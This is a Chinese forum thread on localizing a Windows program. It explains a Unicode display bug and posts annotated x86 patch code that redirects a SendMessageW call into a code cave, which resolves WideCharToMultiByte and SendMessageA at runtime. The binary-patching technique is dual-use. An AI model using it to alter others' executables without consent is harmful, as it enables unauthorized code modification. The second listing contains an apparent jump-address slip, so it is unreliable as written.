CCEDBCD3A1B03C25733EA1B1B1EABCC7BDABB8C4B1E4CEC4B5B5A1B02573A1B1B5C4B8F1CABDBACD2FBBF2BDE1B9B9A1A3，
程序转换成MultiByte，成为CC00ED00BC00D300A100B0003C00250073003E00A100B100B100EA00BC00C700BD00AB00B800C400B100E400CE00C400B50
0B500A100B00025007300A100B100B500C400B800F100CA00BD00BA00CD002F00BB00F200BD00E100B900B900A100A300，
而最后显示的应该是UNICODE，对应你的翻译最后应该显示的是UNICODE编码FB6DA0521C203C00250073003E001D200768B08B065C3965D853876563681C20250073001D2084763C680F5F8C542F001662D
37E84670230，可程序没干这事，给你转换成MultiByte它就完事了。所以你英文显示正常，变成中文宽字符时肯定不正常了。
貌似除了在程序中写转换字符的补丁代码外没啥更好的方法。贴个效果图：
弄起来应该也比较麻烦。我有空的话就帮你搞一下，也对你那个老盖的工具比较感兴趣，想瞅瞅
&amp;nbsp;
附加缩略图

解决方案
的解决方案（1）
汇编不在行，所以打洞放代码的功夫就留待高人来实现了，我的方法很简单，作了个DLL，里面有个函数，然后让软件的处理变成调用我的DLL来处理。我还是喜欢这种方式，因为我不需要在软件中寻找合适位置放置合适代码，而且这需要很强的ASM代码整合能力，一不小心，可能引起异常（这里花的时间绝对不会少）。

虽然这不是完美的实现方法，但是对于汉化这样的工程，如果不是为了技术探讨，大可不必做到非常完美，只需要实现效果即可。

DLL做出来了，用来参考，可把里面反汇编的代码稍作修改应该可以在原程序上放置实现更完美的效果。
附加文件
&amp;nbsp; ( 73.28k ) 下载次数: 25


    
        
            的评价（解释了原理和用法）：
            restools 兄这个方法好！比直接在程序中写补丁代码简单多了，学习！我看了你改的主程序，应该是用LordPE添加了你DLL中的导出函数，把一个调用SendMessageW的地方改成调用你的函数。严重学习！
            
        
    



的解决方案
再来一个打过补丁的。本来想用LordPE直接添加程序中没有的函数WideCharToMultiByte和SendMessageA的，看了一下程序中有LoadLibraryA和GetProcAddress这两个函数，想想还是用这两个函数来获取WideCharToMultiByte和SendMessageA函数地址吧。因为调用的都是系统函数，我就不考虑用FreeLibrary来释放了。原本想直接抄restools兄的DLL文件中的代码来补丁的，不过堆栈平衡实在不大好处理，反而耗了我很多时间。最后干脆直接写了。我在程序的最后添加了一个大小为400H的区段用来写代码，主要是在程序中找不到够写代码的空间了。
贴上用于OllyDBG的写补丁代码插件NonaWrite的代码，我在里面都加了注释，应该容易理解。在程序中添加一个区段后就可以用OD载入，再用NonaWrite插件把这些代码直接写到程序中保存就行了：


    
        
            变量：
            ;temp1：用来存放用GetProcAddress获取的WideCharToMultiByte函数地址。
            ;偏移：00039639，VA：0043B039
            
            ;temp2：用来存放用GetProcAddress获取的SendMessageA函数地址。
            ;偏移：0003963E，VA：0043B03E
            
            ;temp3：用来保存调用SendMessageW时的句柄。
            ;偏移：00039643，VA：0043B043
            
            ;temp4：用来保存要转换的字串地址。
            ;偏移：00039648，VA：0043B048
            
            ;temp5：分配200字节用来作为转换字串的缓冲区
            ;偏移：00039660，VA：0043B060
            ;结束偏移：00039860，VA：0043B260
            
            ;常量：
            ;const1：用来存放字串KERNEL32.dll。
            ;偏移：39600，RVA：00032C70，VA：0043B000
            
            ;const2：用来存放字串WideCharToMultiByte。
            ;偏移：3960D，VA：0043B00D
            
            ;const3：用来存放字串USER32.dll。
            ;偏移：39621，VA：0043B021
            
            ;const4：用来存放字串SendMessageA。
            ;偏移：3962C，VA：0043B02C
            
            ;其他：
            ;LoadLibraryA：
            ;VA：40105C
            
            ;GetProcAddress：
            ;VA：401060
            
            ;原程序中还要在418508处改一下：
            ;0x418508:
            ;call 43B270&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;改成这个
            
            ;补丁代码：开始地址为0043B270
            ;获取WideCharToMultiByte和SendMessageA函数：
            0x43B270:
            pushad
            mov eax,[esp+24]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;temp3,保存前面修改SendMessageW时的句柄
            mov dword ptr [0043B043],eax
            mov eax,[esp+30]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;temp4,保存要转换的字串地址
            mov dword ptr [0043B048],eax
            cmp dword ptr [0043B039],0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;判断是否已获取了要用的函数
            jnz 43B2ab&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;out1
            push 0043B000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const1
            call dword ptr[40105C]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;调用LoadLibraryA
            push 0043B00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const2
            push eax
            call dword ptr[401060]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;调用GetProcAddress
            mov dword ptr [0043B039],eax&amp;nbsp;&amp;nbsp; ;保存WideCharToMultiByte函数地址到temp1
            ;out1
            cmp dword ptr [0043B03E],0
            jnz 43B2d1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;out2
            push 0043B021&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const3
            call dword ptr[40105C]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;调用LoadLibraryA
            push 0043B02C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const4
            push eax
            call dword ptr[401060]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;调用GetProcAddress
            mov dword ptr [0043B03E],eax&amp;nbsp;&amp;nbsp; ;保存SendMessageA函数地址到temp2
            ;out2,开始转换
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; lpUsedDefaultChar
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; lpDefaultChar
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;200&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; cchMultiByte
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0043B060&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; temp5,lpMultiByteStr
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; cchWideChar
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr [0043B048]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; temp4,lpWideCharStr
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; dwFlags
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4E4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; CodePage
            call&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr[0043B039]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;调用WideCharToMultiByte
            mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,0043B060
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; lParam
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; wParam
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;180&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Message = LB_ADDSTRING
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr [0043B043]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; hWnd
            call&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr[0043B03E]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;调用SendMessageA
            popad
            ret 10
        
    


&amp;nbsp;附件是修改过的主程序：
&amp;nbsp; ( 72.46k ) 下载次数: 4
&amp;nbsp;
&amp;nbsp;的解决方案（2）
既然cc兄作了相当完美的解决方案出来，那我就借用一下，再把它处理的完善已点，以下的修改


    
        
            ;变量：
            ;首先，文件没有扩展任何实际大小，所有代码，常量都在文件的空隙中存放，至于变量，大部分使用的是虚的空间。这样做是因为文件实际上是没有足够实际空间的。
            ;先把文件的text段虚拟大小用尽也就是2F00，这不影响原来的程序结构的，据测试，好像改不改都可以用，不过还是按规矩修改了
            ;再把文件的data段虚拟大小用尽也就是3000，这不影响原来的程序结构的，据测试，好像改不改都可以用，不过还是按规矩修改了
            ;开放text的写入功能，使变量可以写入
            
            ;temp1：用来存放用GetProcAddress获取的WideCharToMultiByte函数地址。 ---把text段虚拟空间扩展到2F000，变量运行时放到虚的位置，就是文件中并不存在的位置
            ;VA：42FE28
            
            ;temp2：用来存放用GetProcAddress获取的SendMessageA函数地址。---同上
            ;VA：42FE2E
            
            ;temp3：用来保存调用SendMessageW时的句柄。---同上
            ;VA：42FE34
            
            ;temp4：用来保存要转换的字串地址。---同上
            ;VA：42FE3A
            
            ;temp5：分配190字节用来作为转换字串的缓冲区 ---放到 Data 段空闲位置，大部分是虚的，文件没有实位置
            ;VA：432E60 --使用靠在后面扩展的虚拟空间，因为这个段大多数会有数据写入，前面已经分配的虚拟空间不太安全
            ;0x190 就是 400 个字节，对于这个程序，我想应该足够了
            
            ;常量：
            ;const1：用来存放字串KERNEL32.dll。---------------------------原程序已有该字串，借用，省去空间
            ;VA：42F602
            
            ;const2：用来存放字串WideCharToMultiByte。---放到 text 段空闲位置 ，文件实位置
            ;VA：42FDE0
            
            ;const3：用来存放字串USER32.dll。---------------------------原程序已有该字串，借用，省去空间
            ;VA：42F6D4
            
            ;const4：用来存放字串SendMessageA。---放到 text 段空闲位置 ，文件实位置
            ;VA：42FDF4
            
            ;其他：
            ;LoadLibraryA：
            ;VA：40105C
            
            ;GetProcAddress：
            ;VA：401060
            
            ;原程序中还要在418508处改一下：
            ;0x418508:
            ;call 42FD3E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;改成这个
            
            ;补丁代码：开始地址为0042FD3E
            ;获取WideCharToMultiByte和SendMessageA函数：
            0x42FD3E:
            pushad
            mov eax,[esp+24]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;temp3,保存前面修改SendMessageW时的句柄， ListBox 句柄
            mov dword ptr [42FE34],eax
            mov eax,[esp+30]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;temp4,保存要转换的字串地址， 错误字符串的地址，准备用来修复
            mov dword ptr [42FE3A],eax
            cmp dword ptr [42FE28],0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;temp1,WideCharToMultiByte判断是否已获取了要用的函数，如果有跳转，不再获取
            jnz 42FD7C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;out1
            push 42F602&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const1
            call dword ptr[40105C]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;调用LoadLibraryA
            push 42FDE0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const2
            push eax
            call dword ptr[401060]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;调用GetProcAddress
            mov dword ptr [42FE28],eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;保存WideCharToMultiByte函数地址到 temp1
            ;out1
            cmp dword ptr [42FE2E],0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;temp2,判断是否已获取了要用的函数，如果有跳转，不再获取
            jnz 43FDA2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;out2
            push 42F6D4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const3,字串USER32.dll
            call dword ptr[40105C]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;调用LoadLibraryA
            push 42FDF4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;const4,字串SendMessageA
            push eax
            call dword ptr[401060]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;调用GetProcAddress
            mov dword ptr [42FE2E],eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;保存SendMessageA函数地址到temp2
            ;out2,开始转换
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; lpUsedDefaultChar
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; lpDefaultChar
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;190&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; cchMultiByte
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;432E60&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; temp5,lpMultiByteStr
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; cchWideChar
            push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dword ptr [42FE3A]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; temp4,lpWideCharStr
